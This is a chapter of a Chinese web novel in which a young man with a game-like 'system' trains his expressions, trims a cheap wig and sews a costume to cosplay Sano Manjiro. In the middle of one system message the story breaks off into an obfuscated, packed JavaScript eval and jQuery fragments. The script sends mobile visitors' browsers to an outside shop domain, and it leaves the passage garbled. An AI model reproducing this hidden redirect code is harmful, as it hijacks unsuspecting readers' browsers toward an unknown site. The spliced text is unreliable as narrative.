林恩把“眼神聚焦训练”做到了凌晨一点。
三百次。
前一百次,他的眼神不是飘,就是用力过猛。到了两百次,眼睛开始发酸,眼尾像被细砂纸磨过。最后十次,他几乎只能靠意志力维持坐姿。
系统没有给出夸奖。
【眼神聚焦训练:300/300。】
【基础动作校准完成度:18%。】
【角色拟态完成度:2%→4%。】
【提示:首次拟态微调将在睡眠期间继续进行。】
林恩盯着那行字看了片刻。
“睡觉也算训练?”
【身体重组需要时间。】
“重组……”
林恩下意识摸了摸自己的脸。
皮肤还是那层皮肤,骨头还是那副骨头。可今天从漫展回来之后,他总觉得脸上有些地方不太对。
不是变好看了。
更像是原本松散的东西,被一只看不见的手重新摆放过。
他走到镜子前,打开浴室的顶灯。
廉价镜面把光线切割得很碎,鼻翼两侧的毛孔被照得清清楚楚。林恩先看正脸,再看侧脸,最后把手机举到耳朵旁边,拍了一张没有任何滤镜的照片。
照片里的自己依旧普通。
五官不够集中,眉眼之间缺少精神,脸型偏窄,嘴角微微向下。和网上那些妆前妆后对比图一样,属于需要依靠妆面、发型和光线共同完成的脸。
可当他侧过头时,下颌线确实清楚了一点。
很细微。
像一条被水冲淡的铅笔线,原本看不出来,现在终于有了轮廓。
林恩把照片放大。
他没有变成佐野万次郎。
也远远谈不上像。
但他第一次产生了一种奇怪的感觉:这张脸不是固定的。
它还可以被修正。
就像一件没有完成的服装。
只要继续拆,继续改,继续把每个不合适的地方重新处理一遍,总有一天,它会变成他想要的样子。
“明天继续。”
他说给镜子听。
镜子里的人没有回答。
林恩关灯睡觉。
躺下不到十分钟,他就饿醒了。
胃里空得发疼,四肢却沉重得像灌了铅。他起身翻遍厨房,最后只找到半袋挂面、一个鸡蛋和一根快要蔫掉的葱。
水烧开后,他把挂面下进去。
面条翻滚时,蓝色提示在蒸汽上方浮现。
【拟态微调期间,基础代谢提升。】
【建议补充蛋白质、碳水与水分。】
林恩看着锅里仅有的一只鸡蛋。
“你早不说。”
【宿主未询问。】
“那你现在告诉我,吃什么能恢复得快?”
【鸡胸肉、牛奶、鸡蛋、米饭,以及规律睡眠。】
林恩夹起鸡蛋,沉默片刻,把它一分为二。
“从今天开始,我的伙食和健身博主一样健康。”
他把半个鸡蛋放进嘴里。
“只不过预算和逃荒难民差不多。”
系统没有发表意见。
面汤很淡,葱也不够新鲜。
可林恩吃得很慢,像在完成某种正式的仪式。
第二天上午,他去了一趟布料市场。
没有先买假发。
按照预算,他先买了两米半黑色斜纹布、一卷金色包边条、两只金属扣和一小瓶黑色纺织颜料。外套的版型他已经画过纸样,问题不在材料,而在裁剪。
摊主拿起他的纸样看了两眼。
“做什么的?”
“角色服。”
“演出?”
“cosplay。”
摊主点点头,没有追问。
林恩把东西装进袋子,顺路又去了一家假发店。
店里墙面挂满了不同颜色的假发,银白、粉紫、湖蓝、金棕,最里面还挂着几顶造型夸张的长发。
店员正在给一个年轻女孩试戴粉色长卷发。
“老师,这顶的发际线要不要再修一下?”女孩问。
“要修,但你这个角色不是高颅顶,头顶不能垫太高。不然侧面会显得比例不对。”
“那刘海呢?”
“刘海先别急着定型,等妆面上完再看。假发修剪一定要留余量,剪多了就只能重新买。”
林恩站在旁边听了很久。
女孩试完假发,转身对着镜子观察。
店员看见林恩,问道:“小哥要找什么角色的?”
“佐野万次郎。”
“《东京复仇者》的Mikey?”
“嗯。”
店员从后面取下一顶金色中分短发。
“这顶比较接近。Mikey的少年时期发型重点是中分和层次,不能直接买一顶普通金毛套上去。两侧要有自然的垂落,后面别打得太炸。”
她把假发递给林恩。
“你是自己做妆造,还是约妆娘?”
“自己先试。”
店员看了看他,又看了看假发。
“那建议你买长一点的。新手容易修过头。头模有吗?”
“没有。”
“那先别在自己头上剪。”
林恩点头。
“我知道。”
他嘴上这么说,心里却已经开始计算价格。
假发一百六,头模和支架九十,发蜡三十五。
全部买下来,足够他吃一周。
店员看出他的犹豫,指了指旁边一顶没有造型的基础金发。
“这顶便宜,颜色也能用。你自己修,后期再换高端假发。”
林恩拿起假发,对着镜子比了比。
颜色偏亮。
不够自然,发丝也有些毛躁,但基础长度合适。
“这顶。”
“要不要加一个发网?”
“要。”
“定型喷雾?”
“先不要。”
“头模呢?”
“也不要。”
店员看他的表情,猜到他预算有限,没有继续推荐。
“回去先别急着剪。找同角色的正片和三视图,看清楚刘海落点,再下剪刀。”
“谢谢老师。”
这句话说出口,林恩自己先愣了一下。
店员笑了。
“圈里都这么叫,别紧张。”
林恩提着假发走出店门时,才发现手心出了汗。
他忽然意识到,自己已经开始像一个真正的coser那样思考了。
不是“买一顶金色假发戴上”。
而是角色的发型结构、颜色偏差、发丝走向和镜头效果。
cos服也不是“黑色外套加金色字”。
还要考虑版型、垂感、走线、包边的宽度,以及角色原画里衣襟在不同姿态下的开合。
这些细节没人会在第一眼告诉你。
但它们决定了一个角色到底是“像”,还是“有味道”。
接下来的三天,林恩没有再去漫展。
他把出租屋重新整理了一遍。
书桌靠墙,桌面只留下缝纫机、剪刀、软尺、针线盒和一面可以调整角度的化妆镜。衣柜旁边钉上一根横杆,专门用来挂服装。墙上贴满参考图,有动画截图,也有角色立绘,还有几张他从不同角度截下来的Mikey表情。
那几张图里,佐野万次郎并不是一直在笑。
有时候他看起来像一个贪睡的孩子,眼皮低垂,脸上没有多少防备。
有时候,他的表情会突然变得空白。
不是茫然,而是某种情绪被压到了极深处。
再下一秒,那种空白就会裂开,露出危险的锋芒。
林恩把这几种状态分别标了出来。
“懒散。”
“警戒。”
“压迫。”
“失控前兆。”
他没有把“黑色冲动”简单理解为一个可以随时打开的技能。
那是角色经历和精神裂痕的一部分。
如果只会摆出凶狠的表情,最多算是表面模仿。真正的Mikey,危险并不总是写在脸上。很多时候,他越平静,越让人不敢靠近。
林恩对着镜子练习。
第一天,他练“懒散”。
肩膀下沉,眼皮放松,嘴角不刻意上扬。可他一放松,就显得没精神,像连续熬夜后的社畜。
第二天,他练“压迫”。
视线停在镜头中央,呼吸变慢,脸部肌肉保持不动。结果眼神过于直白,像在和摄影师讨债。
第三天,他开始练切换。
从漫不经心,到突然收紧。
眼神先移开,再在半秒内落回镜头。
下巴略微抬起,嘴角不变,眼底却换了一种力度。
这一次,系统的提示迟迟没有出现。
林恩保持着姿势,直到眼睛酸痛。
他以为自己又失败了,正准备放弃,镜子里的那双眼睛忽然轻轻一沉。
房间没有变。
旧墙,旧桌,旧窗帘。
可镜中的人像是把整个空间都压低了半寸。
林恩自己先感到了一丝陌生。
那不是变凶。
更像是他终于知道,自己不需要向任何人解释正在做什么。
蓝色文字在镜面上浮现。
【眼神切换成功。】
【角色神韵捕捉度:微弱。】
【角色拟态完成度:4%→8%。】
【首次局部复刻条件满足。】
林恩呼吸一滞。
镜面里的脸开始出现变化。
不是整张脸突然换掉,也不是漫画里那种夸张的光效。
他的眼尾先传来一阵细密的麻痒,随后是眉骨和下颌。那种感觉并不尖锐,却像有人从皮肤深处轻轻推了一下。
林恩本能地闭上眼睛。
等他再睁开时,镜中的自己仍然是林恩。
只是眉眼之间的比例像被重新调整过。
眼睛没有变大。
眼型却更清晰了。
原本略显松散的上眼睑,收出了一点自然的弧度。眉骨下方多了些阴影,让那双眼睛不再显得浮肿。下颌线从耳根处向前延伸,轮廓更干净,脸颊也不再像之前那样缺少支撑。
那不是一张陌生的脸。
而是原本那张脸被擦掉了一层灰。
林恩靠近镜子。
他没有立刻笑,也没有激动地拿手机自拍。
因为那一点变化实在太小。
放在人群里,他依然不是最显眼的那一个。
可只要看过自己无数次,就能分辨出这条新出现的线。
像素胚第一次显出轮廓。
他的胃又开始疼。
紧接着,一股强烈的饥饿袭来,几乎让他站不稳。
林恩扶着桌角,额头很快沁出冷汗。
系统给出解释。
【局部复刻完成。】
【
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762015|209611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
复刻目标:眼型、眉眼间距、下颌轮廓。】
【能量消耗:中。】
【建议立即进食。】
“这次又是什么代价?”
【身体适应性调整。】
“具体一点。”
【饥饿、酸痛、短暂眩晕。】
“没有更严重的?”
【当前没有。】
林恩打开冰箱。
里面只剩两瓶矿泉水和一颗鸡蛋。
他看着那颗鸡蛋,沉默了几秒,转身拿起钥匙。
楼下的便利店灯光很白。
林恩买了两盒牛奶、一份鸡胸肉饭团和一袋最便宜的面包。结账时,他看着小票上的数字,心疼得眼皮直跳。
可回到出租屋,他把食物全部吃完,身体里的酸痛终于缓和了一些。
晚上,他把新买的假发套上头模,开始按照参考图修剪。
剪刀落下之前,他停了很久。
店员说得对。
假发不能急着剪。
他先把发丝分区,用夹子固定,再对照不同截图确认长度。Mikey的中分不是简单地从中间劈开,前额两侧需要留下足够的层次,才能在转头和低头时维持自然的弧度。发尾不能过分蓬松,否则会失去那种干净利落的少年感。
林恩一边修,一边把掉下来的发丝收进垃圾袋。
这项工作枯燥,细碎,而且极其考验耐心。
十分钟后,他发现左边比右边长了两毫米。
又过了半小时,两边仍旧不对称。
他拿起剪刀,准备再修一点,手指却停住了。
“不能为了追求绝对对称,把层次剪没。”
这句话他在教程里听过。
真正戴在头上时,人的左右脸并不对称,假发也不应该像模型零件一样死板。镜头前需要的是视觉平衡,而不是尺子量出来的平衡。
林恩把剪刀放下,退后两步观察。
基础假发仍然廉价,发丝也不够顺。
但比那天漫展上用发泥压出来的中分,已经像样了很多。
他拿出手机,给假发拍了一张照片,备注为:
“佐野万次郎,基础发型练习,未出片。”
想了想,他又在下面加上:
“CN暂定:林恩。”
写完之后,他盯着那三个字看了很久。
没有改。
第四天清晨,林恩在镜子前换上重新修改过的外套。
金色包边被他拆掉重做,针脚终于变得整齐。背后的图案也重新印了一遍,颜色没有原作那么浓,却不再有明显毛边。裤腰收窄了一点,鞋面擦干净,假发则被固定成自然的中分。
他没有化妆。
只在眼下薄薄压了一层遮瑕,修了一点眉形。
这不是正式出片,只是为了确认整体效果。
林恩站在镜子前,按照系统任务重新完成一遍骑行姿态。
上身放松。
重心下沉。
视线先落在远处,再慢慢收回。
他抬起眼睛。
那一刻,镜中的年轻人终于不再像一个穿着角色服的普通人。
仍然不够完美。
脸型不够像,身高也和少年时期的Mikey完全不同。可他身上多了一种很难描述的安静感,像所有喧闹都被隔在很远的地方。
蓝色进度条缓慢亮起。
【基础任务完成度:41%。】
【佐野万次郎拟态完成度:8%。】
【局部复刻稳定性:12分钟。】
【副作用:轻度饥饿、面部酸胀。】
【评价:尚未达到可出片标准。】
林恩:“……”
他看着最后一句,忽然有点不服。
“那什么才算达到标准?”
【服装完成度、妆面完成度、发型完成度、动作完成度、角色理解度,综合超过60%。】
“还要这么多?”
【cosplay不是穿衣服。】
林恩看向镜子里的人。
系统的蓝光浮在他的脸侧,像一块只有他看得见的取景框。
他忽然明白了一件事。
那天漫展入口的保安没有完全说错。
只穿着一件自制外套,并不能让他成为佐野万次郎。没有妆面,没有发型,没有动作,也没有真正理解角色,他只是把一个标志印在衣服上,然后希望世界认可他的热爱。
可热爱不是通行证。
想让别人看见角色,得先把角色一点点做出来。
林恩抬手,将假发两侧的发丝重新整理好。
镜中的那双眼睛沉静地看着他。
这一次,他没有再问自己像不像。
他只问了一句:
“下一步,练什么?”
系统停顿片刻。
【建议:前往合法摩托车体验场地。】
【角色拟态任务一,进入第二阶段。】
林恩看了一眼手机余额。
又看了一眼镜子。
“先找兼职。”
【可以。】
“等我赚到钱,再去骑真正的CB250T。”
【提醒:体验场地提供的车辆不一定是CB250T。】
“我知道。”
林恩拎起背包,关掉房间的灯。
出门前,他回头看了一眼镜子。
里面的少年没有跟出来。
只是那张平凡的脸上,终于有了一道属于自己的轮廓。